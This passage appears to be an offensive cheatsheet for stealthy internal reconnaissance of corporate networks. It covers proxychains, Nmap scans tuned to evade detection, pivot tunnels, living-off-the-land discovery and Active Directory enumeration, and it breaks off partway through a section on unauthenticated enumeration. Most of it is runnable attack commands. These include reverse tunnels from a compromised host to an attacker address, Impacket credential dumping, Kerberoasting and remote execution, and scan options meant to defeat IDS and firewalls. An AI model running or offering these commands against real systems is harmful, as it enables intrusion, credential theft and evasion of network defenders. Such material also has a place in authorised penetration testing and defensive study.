Network_Scanning_Cheatsheet
Corporate Network Scanning Cheatsheet
Proxychains, Nmap & Stealthy Internal Recon
Visual Overview
Scanning Decision Tree
graph TB
A[Need to Scan Network] --> B{Where Are You?}
B -->|External - Through Proxy| C[Proxychains + Nmap]
B -->|Internal - Post Exploit| D{EDR Present?}
D -->|Yes| E[Living-Off-The-Land]
D -->|No| F[Direct Nmap - Still Go Slow]
C --> G{Scan Type?}
G -->|Host Discovery| H[ARP/Ping Sweep]
G -->|Port Scan| I[TCP Connect Only via Proxy]
G -->|Service Enum| J[Version Detection]
E --> K[Parse ARP/DNS Cache]
E --> L[LDAP/AD Queries]
E --> M[WMI Remote Queries]
E --> N[Targeted Port Checks]
F --> O[Slow Nmap T1/T2]
style E fill:#00ff00
style C fill:#ffaa00
style F fill:#ff6600Scan Noise Levels
graph LR
subgraph "Noise Level: SILENT"
A1[Parse ARP Cache]
A2[DNS Cache Dump]
A3[LDAP Queries]
A4[AD Replication Metadata]
end
subgraph "Noise Level: LOW"
B1[Targeted Port Check]
B2[Single Host Nmap -T1]
B3[WMI Remote Query]
B4[Proxychains Nmap -sT]
end
subgraph "Noise Level: MEDIUM"
C1[Nmap Top-100 -T2]
C2[Service Version Scan]
C3[BloodHound Stealth]
C4[CrackMapExec Targeted]
end
subgraph "Noise Level: LOUD"
D1[Nmap -p- Full Range]
D2[Nmap -sS SYN Scan]
D3[Nmap -A Aggressive]
D4[Mass Ping Sweep]
end
style A1 fill:#00ff00
style A2 fill:#00ff00
style A3 fill:#00ff00
style A4 fill:#00ff00
style B1 fill:#99ff00
style B2 fill:#99ff00
style B3 fill:#99ff00
style B4 fill:#99ff00
style C1 fill:#ffcc00
style C2 fill:#ffcc00
style C3 fill:#ffcc00
style C4 fill:#ffcc00
style D1 fill:#ff0000
style D2 fill:#ff0000
style D3 fill:#ff0000
style D4 fill:#ff0000
1. Proxychains Setup & Configuration
What Proxychains Does
Routes your traffic through SOCKS/HTTP proxies. Essential when:
- Pivoting through a compromised host into an internal network
- Hiding source IP during external scanning
- Routing nmap through SSH dynamic port forward (
ssh -D)
Installation
# Debian/Ubuntu
sudo apt install proxychains4
# From source (proxychains-ng - preferred)
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng && ./configure && make && sudo make install
Configuration File: /etc/proxychains4.conf
# ═══════════════════════════════════════════════════
# CHAIN TYPE (pick one)
# ═══════════════════════════════════════════════════
# strict_chain - Each proxy in order, fail if any down
# dynamic_chain - Skip dead proxies, continue chain (RECOMMENDED)
# random_chain - Random proxy order each connection
# round_robin_chain - Rotate through proxies
dynamic_chain
# strict_chain
# random_chain
# ═══════════════════════════════════════════════════
# SETTINGS
# ═══════════════════════════════════════════════════
# Quiet mode - no output from proxychains (RECOMMENDED for stealth)
quiet_mode
# Proxy DNS requests through the chain (IMPORTANT - prevents DNS leak)
proxy_dns
# Timeout settings (increase for slow tunnels)
tcp_read_time_out 15000
tcp_connect_time_out 8000
# ═══════════════════════════════════════════════════
# PROXY LIST
# ═══════════════════════════════════════════════════
[ProxyList]
# type host port user pass
# SOCKS5 through SSH tunnel (ssh -D 1080 user@pivot)
socks5 127.0.0.1 1080
# SOCKS4 alternative (some tools work better with SOCKS4)
# socks4 127.0.0.1 1080
# HTTP proxy
# http 192.168.1.50 8080 user password
# Chain multiple proxies (traffic goes through each in order)
# socks5 127.0.0.1 1080
# socks5 10.10.10.50 9050
# socks4 172.16.0.1 1080
Key Proxychains Limitations
| Limitation |
Impact |
Workaround |
| TCP only - no raw packets |
SYN scan (-sS) won't work |
Use -sT (TCP connect) only |
| No UDP through SOCKS |
UDP scan (-sU) fails |
Skip UDP or scan directly if internal |
| No ICMP through SOCKS |
Ping sweep fails |
Use -Pn (assume host up) |
| Slow - each connection proxied |
Full port scans take forever |
Use --top-ports, target specific ports |
| DNS leaks possible |
Your real DNS resolver may be used |
Enable proxy_dns in config |
| No raw sockets |
OS detection (-O) unreliable |
Skip -O through proxy, use banner grab |
2. Nmap Through Proxychains
Critical Rule: TCP Connect Only
# ════════════════════════════════════════════════════════════
# THE ONLY SCAN TYPE THAT WORKS THROUGH PROXYCHAINS
# ════════════════════════════════════════════════════════════
proxychains4 nmap -sT -Pn -n <target>
# │ │ │
# │ │ └─ No DNS resolution (prevent leak)
# │ └───── No ping (ICMP doesn't work through proxy)
# └────────── TCP connect scan (REQUIRED through proxy)
Host Discovery Through Proxy
# You CAN'T do ping sweeps through proxychains
# Instead: TCP-based discovery on common ports
# Quick alive check on common ports
proxychains4 nmap -sT -Pn -n -p 22,80,135,445,3389 --open 10.10.10.0/24
# Faster: Use top 10 ports for discovery
proxychains4 nmap -sT -Pn -n --top-ports 10 --open 10.10.10.0/24
# Even faster: Single port check (445 = Windows, 22 = Linux)
proxychains4 nmap -sT -Pn -n -p 445 --open 10.10.10.0/24
Stealth Scanning Through Proxy
# ════════════════════════════════════════════════════════════
# PARANOID - Maximum stealth (very slow, but nearly invisible)
# ════════════════════════════════════════════════════════════
proxychains4 nmap -sT -Pn -n -T1 --scan-delay 30s --max-retries 1 \
--top-ports 20 --open -oA scan_paranoid <target>
# ════════════════════════════════════════════════════════════
# SNEAKY - Good balance (slow but practical)
# ════════════════════════════════════════════════════════════
proxychains4 nmap -sT -Pn -n -T2 --scan-delay 5s --max-retries 2 \
--top-ports 100 --open -oA scan_sneaky <target>
# ════════════════════════════════════════════════════════════
# TARGETED - Known ports only (fastest practical stealth)
# ════════════════════════════════════════════════════════════
proxychains4 nmap -sT -Pn -n -T2 --max-retries 1 \
-p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,\
636,993,995,1433,1521,2049,3268,3306,3389,5432,5900,5985,\
5986,6379,8080,8443,8888,9090,27017 \
--open -oA scan_targeted <target>
# ════════════════════════════════════════════════════════════
# SERVICE VERSION (after finding open ports)
# ════════════════════════════════════════════════════════════
proxychains4 nmap -sT -Pn -n -sV --version-intensity 2 \
-p <found_ports> -oA scan_services <target>
# │
# └─ Low intensity = fewer probes = quieter
Nmap Timing Templates Reference
| Template |
Name |
Delay Between Probes |
Use Case |
-T0 |
Paranoid |
5 minutes |
IDS evasion, serial scanning |
-T1 |
Sneaky |
15 seconds |
IDS evasion, practical |
-T2 |
Polite |
0.4 seconds |
Reduced network load |
-T3 |
Normal |
Default |
Standard scanning |
-T4 |
Aggressive |
Fast |
CTF/lab only |
-T5 |
Insane |
Fastest |
Never in prod |
Custom Timing (Finer Control)
# Instead of -T templates, control individual parameters:
proxychains4 nmap -sT -Pn -n \
--scan-delay 10s \ # Min delay between probes
--max-scan-delay 30s \ # Max delay (adaptive)
--max-retries 1 \ # Don't retry failed probes
--max-rate 5 \ # Max 5 packets/second
--min-rtt-timeout 500ms \ # Min round-trip timeout
--max-rtt-timeout 3000ms \# Max round-trip timeout
--host-timeout 300s \ # Give up on host after 5 min
<target>
Parallel Scanning with Proxychains + Xargs
# Scan multiple hosts in parallel (careful - more noise)
cat targets.txt | xargs -P 3 -I {} \
proxychains4 nmap -sT -Pn -n -T2 --top-ports 50 --open -oG {}.gnmap {}
# │
# └─ 3 parallel processes (keep low)
# Using the enumerate.py wrapper script:
# https://github.com/sergylm/enumeration-with-proxychains
python3 enumerate.py targets.txt 100 /etc/proxychains4.conf --threads 3
3. Nmap Without Proxychains (Direct Internal Access)
When you have direct internal network access (post-exploitation, VPN, etc.):
Stealth Scans (No Proxy Needed)
# ════════════════════════════════════════════════════════════
# SYN STEALTH SCAN - Half-open (doesn't complete TCP handshake)
# ════════════════════════════════════════════════════════════
sudo nmap -sS -Pn -n -T2 --scan-delay 5s --randomize-hosts \
--data-length 25 -f --top-ports 100 --open -oA scan_syn <target/range>
# │ │ │
# │ │ └─ Fragment packets
# │ └──────── Random padding (evade signatures)
# └───────────────────────────────────────────── SYN scan (requires root)
# ════════════════════════════════════════════════════════════
# FIN/NULL/XMAS SCANS - Bypass simple packet filters
# ════════════════════════════════════════════════════════════
sudo nmap -sF -Pn -n -T1 --top-ports 100 <target> # FIN scan
sudo nmap -sN -Pn -n -T1 --top-ports 100 <target> # NULL scan
sudo nmap -sX -Pn -n -T1 --top-ports 100 <target> # Xmas scan
# ════════════════════════════════════════════════════════════
# ACK SCAN - Map firewall rules (doesn't find open ports)
# ════════════════════════════════════════════════════════════
sudo nmap -sA -Pn -n -T2 --top-ports 100 <target> # Filtered vs unfiltered
# ════════════════════════════════════════════════════════════
# IDLE/ZOMBIE SCAN - Completely invisible (uses zombie host)
# ════════════════════════════════════════════════════════════
sudo nmap -sI <zombie_host> -Pn -p 80,443,445 <target>
# │
# └─ A host with predictable IP ID (printer, old server)
Firewall Evasion Techniques
# Combine multiple evasion techniques:
sudo nmap -sS -Pn -n \
-f \ # Fragment packets (8-byte fragments)
--mtu 24 \ # Custom MTU size
-D RND:5 \ # 5 random decoy IPs
--source-port 53 \ # Spoof source port as DNS
--data-length 40 \ # Append random data
--spoof-mac 0 \ # Random MAC address
--randomize-hosts \ # Random target order
-T1 \ # Sneaky timing
--scan-delay 15s \ # 15s between probes
--top-ports 50 \
--open -oA scan_evasion <target/range>
Deep Stealth Combo
# The "quiet corporate scan" pattern:
sudo nmap -sS -Pn -n \
-T1 \
-f --mtu 24 \
-D RND:3,ME \
--randomize-hosts \
--source-port 53 \
--data-length 25 \
--scan-delay 30s \
--max-retries 1 \
--max-rate 2 \
--top-ports 50 \
--open \
-oA quiet_scan \
10.10.10.0/24
4. Enterprise Port Reference (What to Scan For)
TIER 1: High-Value Targets (Scan These First)
Active Directory / Domain Controller
| Port |
Protocol |
Service |
What You Get |
| 88 |
TCP/UDP |
Kerberos |
AS-REP roasting, Kerberoasting, ticket attacks |
| 135 |
TCP |
MSRPC/WMI |
RPC enumeration, WMI execution, lateral movement |
| 139 |
TCP |
NetBIOS |
Legacy SMB, name resolution, null sessions |
| 389 |
TCP |
LDAP |
AD enumeration, user/group/computer lists |
| 445 |
TCP |
SMB |
Share enum, relay attacks, EternalBlue, PsExec |
| 464 |
TCP |
Kpasswd |
Password changes, Kerberos password attacks |
| 636 |
TCP |
LDAPS |
Encrypted LDAP (same enum, harder to intercept) |
| 3268 |
TCP |
Global Catalog |
Cross-domain AD queries |
| 3269 |
TCP |
Global Catalog SSL |
Encrypted cross-domain queries |
| 5985 |
TCP |
WinRM HTTP |
PowerShell remoting, lateral movement |
| 5986 |
TCP |
WinRM HTTPS |
Encrypted PS remoting |
| 9389 |
TCP |
AD Web Services |
ADWS enumeration |
Remote Access
| Port |
Protocol |
Service |
What You Get |
| 22 |
TCP |
SSH |
Shell access, tunneling, key-based auth |
| 23 |
TCP |
Telnet |
Cleartext credentials (legacy) |
| 3389 |
TCP |
RDP |
GUI access, BlueKeep (CVE-2019-0708) |
| 5900 |
TCP |
VNC |
Screen sharing, often weak/no auth |
| 5800 |
TCP |
VNC HTTP |
Web-based VNC |
TIER 2: Valuable Services
Databases
| Port |
Protocol |
Service |
What You Get |
| 1433 |
TCP |
MSSQL |
xp_cmdshell, linked servers, cred dumping |
| 1434 |
UDP |
MSSQL Browser |
Instance discovery |
| 3306 |
TCP |
MySQL |
UDF injection, file read/write |
| 5432 |
TCP |
PostgreSQL |
RCE via COPY FROM PROGRAM |
| 1521 |
TCP |
Oracle TNS |
TNS poisoning, SID enumeration |
| 6379 |
TCP |
Redis |
Usually no auth, RCE via modules |
| 27017 |
TCP |
MongoDB |
Often no auth, data exfil |
| 9200 |
TCP |
Elasticsearch |
Often no auth, index dumping |
| 5984 |
TCP |
CouchDB |
REST API, often open |
| 11211 |
TCP |
Memcached |
Cache data extraction |
Web Services
| Port |
Protocol |
Service |
What You Get |
| 80 |
TCP |
HTTP |
Web apps, default pages, misconfig |
| 443 |
TCP |
HTTPS |
Same + certificate info, TLS vulns |
| 8080 |
TCP |
HTTP Alt |
Jenkins, Tomcat, dev servers |
| 8443 |
TCP |
HTTPS Alt |
Management consoles |
| 8888 |
TCP |
HTTP Alt |
Dev tools, Jupyter notebooks |
| 8000 |
TCP |
HTTP Alt |
Django dev, various apps |
| 9090 |
TCP |
Various |
Prometheus, Cockpit, WebSphere |
| 9443 |
TCP |
HTTPS Alt |
Management interfaces |
Email
| Port |
Protocol |
Service |
What You Get |
| 25 |
TCP |
SMTP |
Open relay, user enum (VRFY/RCPT) |
| 110 |
TCP |
POP3 |
Cleartext email retrieval |
| 143 |
TCP |
IMAP |
Email access, credential reuse |
| 465 |
TCP |
SMTPS |
Encrypted SMTP |
| 587 |
TCP |
SMTP Submission |
Auth SMTP, password spraying |
| 993 |
TCP |
IMAPS |
Encrypted IMAP |
| 995 |
TCP |
POP3S |
Encrypted POP3 |
TIER 3: Infrastructure & Management
File Sharing
| Port |
Protocol |
Service |
What You Get |
| 21 |
TCP |
FTP |
Anonymous login, cleartext creds |
| 69 |
UDP |
TFTP |
No auth, config file exfil |
| 111 |
TCP |
RPCbind/NFS |
NFS share enumeration |
| 2049 |
TCP |
NFS |
Mount shares, steal files |
| 873 |
TCP |
Rsync |
Sometimes no auth, file access |
Network Management
| Port |
Protocol |
Service |
What You Get |
| 53 |
TCP/UDP |
DNS |
Zone transfer, subdomain enum |
| 161 |
UDP |
SNMP |
Community strings, full system info |
| 162 |
UDP |
SNMP Trap |
Trap data interception |
| 514 |
UDP |
Syslog |
Log interception |
| 1812 |
UDP |
RADIUS |
Auth infrastructure |
| 49 |
TCP |
TACACS+ |
Network device auth |
Virtualization & Cloud
| Port |
Protocol |
Service |
What You Get |
| 443 |
TCP |
vCenter/ESXi |
VMware management, VM escape |
| 902 |
TCP |
VMware |
Virtual console access |
| 8006 |
TCP |
Proxmox |
Virtualization management |
| 2375 |
TCP |
Docker API |
Container control (often no auth!) |
| 2376 |
TCP |
Docker TLS |
Encrypted Docker API |
| 6443 |
TCP |
Kubernetes API |
K8s cluster control |
| 10250 |
TCP |
Kubelet |
Node-level K8s access |
CI/CD & DevOps
| Port |
Protocol |
Service |
What You Get |
| 8080 |
TCP |
Jenkins |
RCE via Groovy console |
| 3000 |
TCP |
Grafana/Gitea |
Dashboards, code repos |
| 9000 |
TCP |
SonarQube |
Code analysis, secrets |
| 5000 |
TCP |
Docker Registry |
Image pull/push |
| 8200 |
TCP |
Vault |
Secret management |
| 4243 |
TCP |
Docker |
Legacy Docker API |
Quick-Copy Port Lists
# AD/Domain Controller ports
-p 53,88,135,139,389,445,464,593,636,3268,3269,5985,5986,9389
# Web services
-p 80,443,8080,8443,8888,8000,9090,9443
# Databases
-p 1433,1434,3306,5432,1521,6379,27017,9200,5984,11211
# Remote access
-p 22,23,3389,5900,5800
# Full enterprise scan (comprehensive but slow)
-p 21,22,23,25,53,69,80,88,110,111,135,139,143,161,389,443,445,464,\
465,514,587,636,873,993,995,1433,1434,1521,2049,2375,2376,3000,3268,\
3269,3306,3389,5000,5432,5800,5900,5984,5985,5986,6379,6443,8000,\
8006,8080,8200,8443,8888,9000,9090,9200,9389,9443,10250,11211,27017
5. Pivoting & Tunnel Setup
SSH Dynamic Port Forward (SOCKS Proxy)
# Create SOCKS5 proxy through compromised host
ssh -D 1080 -q -C -N user@pivot_host
# │ │ │ │
# │ │ │ └─ No command (tunnel only)
# │ │ └──── Compress traffic
# │ └─────── Quiet mode
# └──────────────── Dynamic port forward on localhost:1080
# Then configure proxychains to use socks5 127.0.0.1 1080
# And scan internal network through the pivot
proxychains4 nmap -sT -Pn -n --top-ports 100 --open 172.16.0.0/24
Chisel (No SSH Needed)
# On your attack box (server mode):
./chisel server --reverse --port 8888
# On compromised host (client mode):
./chisel client YOUR_IP:8888 R:1080:socks
# │
# └─ Creates SOCKS5 on your machine :1080
# Now proxychains uses socks5 127.0.0.1 1080
Ligolo-ng (Best for Large Networks)
# Attack box - start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
# Compromised host - connect agent
./agent -connect YOUR_IP:11601 -ignore-cert
# In ligolo proxy console:
>> session # Select the agent session
>> ifconfig # See internal interfaces
>> start # Start the tunnel
# Add route to internal network
sudo ip route add 172.16.0.0/24 dev ligolo
# Now scan DIRECTLY (no proxychains needed!)
nmap -sS -Pn -n -T2 --top-ports 100 172.16.0.0/24
sshuttle (VPN-like over SSH)
# Route all traffic to internal subnet through SSH
sshuttle -r user@pivot_host 172.16.0.0/24 -e 'ssh -i key.pem'
# Now scan directly (no proxychains needed)
nmap -sS -Pn -n -T2 --top-ports 100 172.16.0.0/24
Reverse SOCKS via Invoke-SocksProxy (Windows Pivot)
# On compromised Windows host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost YOUR_IP
# On your attack box - listen and create SOCKS
python3 ReverseSocksProxyHandler.py 443
# Configure proxychains: socks5 127.0.0.1 1080
6. Living-Off-The-Land Network Recon (No Nmap)
When you can't or shouldn't run nmap, use built-in tools:
Windows - Passive Discovery
# ════════════════════════════════════════════════════
# ZERO NOISE - Parse existing caches
# ════════════════════════════════════════════════════
# ARP cache - hosts your machine already talked to
Get-NetNeighbor | Where-Object {$_.State -ne "Unreachable"} |
Select IPAddress, LinkLayerAddress, State | Format-Table
# DNS cache - recently resolved hostnames
Get-DnsClientCache | Select Entry, Data, Type | Format-Table
# Recent network connections
Get-NetTCPConnection -State Established |
Select LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess |
Format-Table
# NetBIOS name cache
nbtstat -c
# Routing table (understand network segmentation)
Get-NetRoute | Where-Object {$_.DestinationPrefix -ne "0.0.0.0/0"} |
Select DestinationPrefix, NextHop, InterfaceAlias | Format-Table
Windows - AD-Based Host Discovery
# ════════════════════════════════════════════════════
# LOW NOISE - Query AD for computer objects
# ════════════════════════════════════════════════════
# All computers in domain (LDAP query - less noisy than net commands)
$searcher = [adsisearcher]"(objectCategory=computer)"
$searcher.PageSize = 100
$searcher.PropertiesToLoad.AddRange(@("name","operatingsystem","dnshostname","lastlogontimestamp"))
$computers = $searcher.FindAll()
$computers | ForEach-Object {
[PSCustomObject]@{
Name = $_.Properties["name"][0]
OS = $_.Properties["operatingsystem"][0]
DNS = $_.Properties["dnshostname"][0]
LastLogon = [DateTime]::FromFileTime([Int64]$_.Properties["lastlogontimestamp"][0])
}
} | Sort-Object LastLogon -Descending | Format-Table
# Domain Controllers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers |
Select Name, IPAddress, OSVersion
# Find servers by OS type
([adsisearcher]"(&(objectCategory=computer)(operatingSystem=*Server*))").FindAll() |
ForEach-Object { $_.Properties["dnshostname"][0] }
# Find SQL servers (SPN-based)
([adsisearcher]"(servicePrincipalName=MSSQL*)").FindAll() |
ForEach-Object { $_.Properties["dnshostname"][0] }
# Find web servers (SPN-based)
([adsisearcher]"(servicePrincipalName=HTTP/*)").FindAll() |
ForEach-Object { $_.Properties["dnshostname"][0] }
Windows - Targeted Port Checks (No Nmap)
# ════════════════════════════════════════════════════
# Single port test (quiet, no nmap needed)
# ════════════════════════════════════════════════════
function Test-Port {
param([string]$Host, [int]$Port, [int]$Timeout = 1000)
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$result = $tcp.BeginConnect($Host, $Port, $null, $null)
$success = $result.AsyncWaitHandle.WaitOne($Timeout)
$tcp.Close()
return $success
} catch { return $false }
}
# Test single host, multiple ports (with delays!)
$target = "10.10.10.50"
$ports = @(22, 80, 135, 445, 3389, 5985)
foreach ($port in $ports) {
$open = Test-Port -Host $target -Port $port
if ($open) { Write-Output "${target}:${port} OPEN" }
Start-Sleep -Seconds (Get-Random -Minimum 30 -Maximum 90)
}
# Scan subnet for single port (SLOW - with long delays)
$subnet = "10.10.10"
1..254 | ForEach-Object {
$ip = "$subnet.$_"
if (Test-Port -Host $ip -Port 445 -Timeout 500) {
Write-Output "$ip:445 OPEN"
}
Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 15)
}
Linux - LOTL Network Recon
# ════════════════════════════════════════════════════
# PASSIVE - No network traffic generated
# ════════════════════════════════════════════════════
# ARP cache
ip neigh show | grep -v FAILED
# DNS cache (if systemd-resolved)
resolvectl statistics
resolvectl query --cache
# Active connections
ss -tulpn # Listening ports
ss -tn state established # Established connections
# Routing table
ip route show
# ════════════════════════════════════════════════════
# ACTIVE - Minimal noise port checking
# ════════════════════════════════════════════════════
# Bash TCP port check (no tools needed)
(echo >/dev/tcp/10.10.10.50/445) 2>/dev/null && echo "445 open" || echo "445 closed"
# Scan multiple ports on one host
for port in 22 80 135 445 3389 5985; do
(echo >/dev/tcp/10.10.10.50/$port) 2>/dev/null && echo "$port open"
sleep $((RANDOM % 30 + 10)) # 10-40 second random delay
done
# Netcat port scan (if available)
nc -zv -w 1 10.10.10.50 22 80 443 445 2>&1 | grep succeeded
# Dev/tcp subnet sweep for single port
for i in $(seq 1 254); do
(echo >/dev/tcp/10.10.10.$i/445) 2>/dev/null && echo "10.10.10.$i:445 open"
sleep $((RANDOM % 10 + 5))
done
# SMB enumeration
netexec smb 10.10.10.0/24 # Host discovery via SMB
netexec smb 10.10.10.50 -u '' -p '' --shares # Null session shares
netexec smb 10.10.10.50 -u user -p pass --shares # Auth'd share enum
netexec smb 10.10.10.50 -u user -p pass --users # User enumeration
netexec smb 10.10.10.50 -u user -p pass --groups # Group enumeration
netexec smb 10.10.10.50 -u user -p pass --pass-pol # Password policy
# LDAP enumeration
netexec ldap 10.10.10.50 -u user -p pass --users
netexec ldap 10.10.10.50 -u user -p pass --groups
netexec ldap 10.10.10.50 -u user -p pass --asreproast output.txt
netexec ldap 10.10.10.50 -u user -p pass --kerberoast output.txt
# WinRM check
netexec winrm 10.10.10.0/24 -u user -p pass # Find WinRM-enabled hosts
# MSSQL
netexec mssql 10.10.10.0/24 -u sa -p password # Find SQL servers
# Through proxychains
proxychains4 netexec smb 172.16.0.0/24 --gen-relay-list targets.txt
BloodHound / SharpHound (Quiet Collection)
# ════════════════════════════════════════════════════
# STEALTH MODE - Minimum noise collection
# ════════════════════════════════════════════════════
# SharpHound - Stealth mode (queries DC only, no host enumeration)
.\SharpHound.exe -c DCOnly --stealth
# │ │
# │ └─ Only query DCs (no touching workstations)
# └────────── DC-only collection (users, groups, trusts)
# Session collection (LOUDER - touches hosts)
.\SharpHound.exe -c Session --stealth --throttle 2000 --jitter 50
# │ │
# │ └─ 50% random delay variation
# └───────────── 2 second delay between queries
# Full but quiet (spread over time)
.\SharpHound.exe -c All --stealth --throttle 5000 --jitter 80 \
--excludedc --loop --loopduration 04:00:00
# │ │
# │ └─ Run for 4 hours (spread queries)
# └──────────── Loop collection for session data
Responder (Passive Mode)
# ANALYZE ONLY - no poisoning, just listen
sudo responder -I eth0 -A
# │
# └─ Analyze mode (passive, listen only)
# Captures: LLMNR/NBT-NS/MDNS queries, NTLM hashes from broadcast traffic
# Zero noise - completely passive
Impacket Suite
# SPN enumeration (Kerberoasting)
proxychains4 GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.50 -request
# AS-REP Roasting
proxychains4 GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.50
# SMB shares
proxychains4 smbclient.py domain.local/user:pass@10.10.10.50
# Secret dump (HIGH RISK - cred access)
proxychains4 secretsdump.py domain.local/user:pass@10.10.10.50
# Remote execution options
proxychains4 wmiexec.py domain.local/user:pass@10.10.10.50 # WMI (quieter)
proxychains4 atexec.py domain.local/user:pass@10.10.10.50 # Scheduled task
proxychains4 dcomexec.py domain.local/user:pass@10.10.10.50 # DCOM
proxychains4 psexec.py domain.local/user:pass@10.10.10.50 # PsExec (LOUD)
proxychains4 smbexec.py domain.local/user:pass@10.10.10.50 # SMB exec
NetSentinel (Stealth Scanner)
# Python-based internal recon with stealth mode
# https://github.com/kaotickj/NetSentinel
python3 netsentinel.py --scan-type stealth --target 10.10.10.0/24
python3 netsentinel.py --scan-type stealth --target 10.10.10.0/24 --output json
8. Scanning Methodology: Phase-by-Phase
Phase 1: Passive Discovery (Zero Network Noise)
GOAL: Map what you can see without generating ANY scan traffic
1. Parse ARP cache (hosts your system has talked to)
2. Parse DNS cache (recently resolved names)
3. View established connections (what services are in use)
4. Read routing table (understand network segments)
5. Query AD for computer/server objects (LDAP)
6. Check for DHCP leases if accessible
7. Run Responder in Analyze mode (listen for broadcasts)
TIME: 30 minutes - 1 hour
NOISE: ZERO
Phase 2: Targeted Discovery (Minimal Noise)
GOAL: Identify live hosts and key services on priority targets
1. Single-port checks on high-value ports (445, 3389, 22)
- Space 30-60 seconds between each check
- Target subnets identified in Phase 1
2. DNS queries for interesting hostnames
- sql, db, file, dc, exchange, web, app, dev, git, ci
3. SPN-based service discovery (LDAP query)
- MSSQL servers, HTTP services, Exchange
TIME: 2-4 hours (slow and steady)
NOISE: LOW
Phase 3: Port Enumeration (Controlled Noise)
GOAL: Find all open ports on priority targets
1. Targeted nmap scan of discovered hosts
- Enterprise port list (see Section 4)
- -T2 or slower
- Through proxychains if pivoting
2. Service version detection on open ports
- -sV --version-intensity 2 (low probe count)
- Only on confirmed open ports
TIME: 4-8 hours (depends on host count)
NOISE: MEDIUM (controlled)
Phase 4: Service Enumeration (Per-Service)
GOAL: Deep enumeration of discovered services
1. SMB: null sessions, share listing, user enum
2. LDAP: full AD dump, GPP passwords, trusts
3. Web: directory brute, known vulns, login pages
4. MSSQL: xp_cmdshell, linked servers
5. Kerberos: AS-REP roast, Kerberoast
TIME: Varies - prioritize by attack value
NOISE: MEDIUM-HIGH (per-service)
9. Quick Reference Cards
Proxychains + Nmap Cheatsheet
# ══════════════ ALWAYS USE THESE FLAGS ══════════════
proxychains4 nmap -sT -Pn -n [scan options] <target>
# ^^^ ^^ ^^
# MANDATORY through proxychains
# ══════════════ HOST DISCOVERY ══════════════
proxychains4 nmap -sT -Pn -n -p 445 --open 10.0.0.0/24
proxychains4 nmap -sT -Pn -n --top-ports 10 --open 10.0.0.0/24
# ══════════════ PORT SCANNING ══════════════
proxychains4 nmap -sT -Pn -n -T2 --top-ports 100 --open <target>
proxychains4 nmap -sT -Pn -n -T1 -p 21,22,25,53,80,88,135,139,389,443,445,636,1433,3306,3389,5432,5985,8080 --open <target>
# ══════════════ SERVICE DETECTION ══════════════
proxychains4 nmap -sT -Pn -n -sV --version-intensity 2 -p <ports> <target>
# ══════════════ FULL STEALTH THROUGH PROXY ══════════════
proxychains4 nmap -sT -Pn -n -T1 --scan-delay 30s --max-retries 1 --top-ports 50 --open -oA results <target>
Direct Nmap Stealth Cheatsheet
# ══════════════ PARANOID (IDS evasion) ══════════════
sudo nmap -sS -Pn -n -T0 -f --data-length 25 --scan-delay 5m -p 80,443 <target>
# ══════════════ SNEAKY (practical stealth) ══════════════
sudo nmap -sS -Pn -n -T1 -f --randomize-hosts --scan-delay 15s --top-ports 50 --open -oA results <range>
# ══════════════ POLITE (low network impact) ══════════════
sudo nmap -sS -Pn -n -T2 --top-ports 100 --open -oA results <range>
# ══════════════ SERVICE VERSION ══════════════
sudo nmap -sV --version-intensity 2 -p <ports> <target>
# ══════════════ NSE SCRIPTS (targeted) ══════════════
nmap --script smb-enum-shares,smb-os-discovery -p 445 <target>
nmap --script ssl-enum-ciphers,ssl-cert -p 443 <target>
nmap --script http-enum,http-headers -p 80,443,8080 <target>
nmap --script ms-sql-info,ms-sql-config -p 1433 <target>
# ══════════════ FULL EVASION COMBO ══════════════
sudo nmap -sS -Pn -n -T1 -f --mtu 24 -D RND:3,ME --randomize-hosts \
--source-port 53 --data-length 25 --scan-delay 30s --max-retries 1 \
--top-ports 50 --open -oA evasion_scan <range>
One-Liner Combos
# Find live Windows hosts, then scan top ports
proxychains4 nmap -sT -Pn -n -p 445 --open -oG - 10.0.0.0/24 | \
grep "open" | awk '{print $2}' > windows_hosts.txt
proxychains4 nmap -sT -Pn -n -T2 --top-ports 100 --open -iL windows_hosts.txt -oA full_scan
# Find web servers
proxychains4 nmap -sT -Pn -n -p 80,443,8080,8443 --open -oG - 10.0.0.0/24 | \
grep "open" | awk '{print $2}'
# Find database servers
proxychains4 nmap -sT -Pn -n -p 1433,3306,5432,1521,6379,27017 --open 10.0.0.0/24
# Find domain controllers
proxychains4 nmap -sT -Pn -n -p 88,389,636 --open 10.0.0.0/24
10. Output & Reporting
# All formats at once (RECOMMENDED)
nmap ... -oA scan_name
# Creates: scan_name.nmap, scan_name.xml, scan_name.gnmap
# Greppable format (best for parsing)
nmap ... -oG scan.gnmap
# Parse greppable output
grep "open" scan.gnmap | awk '{print $2}' > live_hosts.txt
grep "445/open" scan.gnmap | awk '{print $2}' > smb_hosts.txt
grep "3389/open" scan.gnmap | awk '{print $2}' > rdp_hosts.txt
# XML to HTML report
xsltproc scan.xml -o scan.html
Quick Parse Scripts
# Extract all open ports per host from gnmap
awk '/open/{print $2, $NF}' scan.gnmap
# Get unique open ports across all hosts
grep -oP '\d+/open' scan.gnmap | sort -u
# Count hosts per open port
grep -oP '\d+/open' scan.gnmap | sort | uniq -c | sort -rn
11. On The Network Without Credentials: Unauthenticated Enumeration
You're on the wire — plugged in, compromised a host, or dropped on a VLAN. You have zero credentials. Here's everything you can touch, what you'll find, and what will get you caught.
Adversary TTP Flow: From Wire to First Credential
graph TB
A["On The Wire
(No Creds)"] --> B{Passive First}
B --> C["Listen: Responder -A
ARP cache, DNS cache
Network traffic sniffing"]
C --> D{What Did You Find?}
D -->|"Broadcast traffic"| E["Poison: Responder + ntlmrelayx
mitm6 + ntlmrelayx"]
D -->|"Live hosts"| F["Enumerate: Null sessions
Anonymous LDAP
SNMP default strings"]
D -->|"Service ports"| G["Probe: FTP anon, Redis no-auth
MongoDB open, Docker API"]
E --> H["Captured NTLMv2 Hash
or Relayed Auth"]
F --> I["Usernames, Shares
Password Policy"]
